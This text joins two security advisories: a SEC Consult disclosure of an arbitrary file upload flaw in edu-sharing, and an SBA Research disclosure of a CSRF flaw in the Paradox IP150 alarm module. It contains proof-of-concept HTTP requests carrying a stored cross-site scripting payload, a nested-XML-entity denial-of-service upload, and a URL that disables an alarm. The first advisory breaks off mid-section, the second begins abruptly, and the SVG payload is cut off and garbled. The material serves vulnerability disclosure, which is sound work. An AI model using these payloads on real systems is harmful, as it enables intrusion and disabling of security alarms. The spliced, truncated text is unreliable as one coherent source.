Vendor description:  
-------------------  
"edu-sharing software enables you to network your learning platforms and other  
educational software. Share learning content, metadata and tools - make them  
available in an educational cloud and let your users use them in all connected  
systems."

Source: https://edu-sharing.com

Business recommendation:  
------------------------  
The vendor provides a patch which should be installed immediately.

SEC Consult highly recommends to perform a thorough security review of the product  
conducted by security professionals to identify and resolve potential further  
security issues.

Vulnerability overview/description:  
-----------------------------------  
1) Arbitrary File Upload (CVE-2024-28147)  
An authenticated user can upload arbitrary files in the upload function for  
collection preview images. An attacker may upload an HTML file that includes  
malicious JavaScript code which will be executed if a user visits the direct  
URL of the collection preview image (Stored Cross Site Scripting). It is also  
possible to upload SVG files that include nested XML entities. Those are parsed  
when a user visits the direct URL of the collection preview image, which may be  
utilized for a Denial of Service attack.

Proof of concept:  
-----------------  
1) Arbitrary File Upload (CVE-2024-28147)  
An authenticated user can update the preview image of an existing collection  
by sending the following request:

--------------------------------------------------------------------------------  
POST /edu-sharing/rest/collection/v1/collections/-home-/$COLLECTIONID/icon?mimetype=image%2Fpng HTTP/1.1  
Host: $SERVER  
Cookie: INGRESSCOOKIE=$INGRESSCOOKIE; JSESSIONID=$SESSIONID  
Content-Type: multipart/form-data; boundary=---------------------------159605426213527963452762824885  
Content-Length: 288

-----------------------------159605426213527963452762824885  
Content-Disposition: form-data; name="file";

‰PNG

[...]  
-----------------------------159605426213527963452762824885--  
--------------------------------------------------------------------------------

The URL parameter "mimetype" can be modified to match any uploaded file. The  
value is directly used in the server's "Content-Type" header.  
Both, the Content-Type request header and the filename parameter in the  
Content-Disposition request header do not need to be included in the data  
boundary inside the request in order to be sent successfully and can therefore  
be removed.  
The preview image can then be accessed by visiting the following URL:  
https://$SERVER/edu-sharing/preview?nodeId=$COLLECTIONID

a. Stored Cross Site Scripting (HTML Upload)  
The initial request can be modified to include an HTML file, while keeping  
the magic bytes of a PNG image file. The "mimetype" parameter is changed to  
"text/html":

--------------------------------------------------------------------------------  
POST /edu-sharing/rest/collection/v1/collections/-home-/$COLLECTIONID/icon?mimetype=text/html HTTP/1.1  
Host: $SERVER  
Cookie: INGRESSCOOKIE=$INGRESSCOOKIE; JSESSIONID=$SESSIONID  
Content-Type: multipart/form-data; boundary=---------------------------159605426213527963452762824885  
Content-Length: 288

-----------------------------159605426213527963452762824885  
Content-Disposition: form-data; name="file";

‰PNG

<!DOCTYPE html>  
<html>  
<body>  
<h1>Test</h1>  
<script>alert(window.location)</script>  
</body>  
</html>  
-----------------------------159605426213527963452762824885--  
--------------------------------------------------------------------------------

Visiting the preview URL as seen in figure 1 below shows that the JavaScript  
code is executed:  
[01_stored_xss.png]

b. Denial of Service (SVG Upload)  
The initial request can be modified to upload an SVG file containing  
nested XML entities. The "mimetype" parameter is changed to "image%2Fsvg":

--------------------------------------------------------------------------------  
POST /edu-sharing/rest/collection/v1/collections/-home-/$COLLECTIONID/icon?mimetype=image%2Fsvg HTTP/1.1  
Host: $SERVER  
Cookie: INGRESSCOOKIE=$INGRESSCOOKIE; JSESSIONID=$SESSIONID  
Content-Type: multipart/form-data; boundary=---------------------------29539943986372261721095197803  
Content-Length: 581

Content-Disposition: form-data; name="file";

<?xml version="1.0" encoding="UTF-8"?>  
<!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY bar "Text "><!ENTITY t1

</svg>

-----------------------------29539943986372261721095197803--  
--------------------------------------------------------------------------------

Visiting the preview URL as seen in figure 2 below shows that the XML code is  
parsed:  
[02_denial_of_service]

Vulnerable / tested versions:  
-----------------------------  
The following version has been tested which was the latest version available  
at the time of the test:

# Paradox IP150 Internet Module Cross-Site Request Forgery #

Link: https://github.com/sbaresearch/advisories/tree/public/2024/SBA-ADV-20240321-01_Paradox_Cross_Site_Request_Forgery

## Vulnerability Overview ##

The Paradox IP150 Internet Module in version 1.40.00 is vulnerable to  
Cross-Site Request Forgery (CSRF) attacks due to  
a lack of countermeasures and the use of the HTTP method `GET` to introduce  
changes in the system.

## Impact ##

An attacker can coerce an administrator into clicking a link, which issues  
a HTTP request that changes the state of the system.  
Depending on the configuration, meaning which downstream component is  
controlled by the affected component, the impact will be different.  
As an example the *IP150 Internet Module* might control an alarm unit.  
Thus an attacker can deactivate the alarm by performing a CSRF attack.

## Vulnerability Description ##

The server cannot verify whether a request was sent intentionally. This  
makes it possible for an attacker to trick a client into making  
unintentional requests to the web server which will be treated as an  
authentic request. In combination with a social engineering attack,  
this allows an attacker to perform server-side actions as the victim.

In addition, the functionality of activation and deactivation of the alarm  
systems, is accessed via a HTTP `GET` request.  
Changing the state of the server with `GET` is discouraged in the HTTP  
standard, since it is defined to be a *safe* method [1].  
This makes the exploitation of the vulnerability easier, as an attacker  
can craft an URL.  
If the victim opens this URL, the CSRF attack is carried out and an action  
is performed.

## Proof of Concept ##

For example, the following HTTP request disables the alarm in area `00`:

```http  
GET /statuslive.html?area=00&value=d HTTP/1.1  
Host: 192.0.2.1  
```

It is vulnerable to CSRF, since it does not apply any CSRF countermeasures.  
Therefore, it is possible to craft an URL that performs this action:

```text  
http://192.0.2.1/statuslive.html?area=00&value=d  
```

## Recommended Countermeasures ##

We are not aware of a vendor fix yet. Please contact the vendor.

A generally valid solution against CSRF, which however requires a server-side  
state, is the implementation of an unpredictable token that is unique for  
each session.  
The OWASP project gives further recommendations [2] [3].
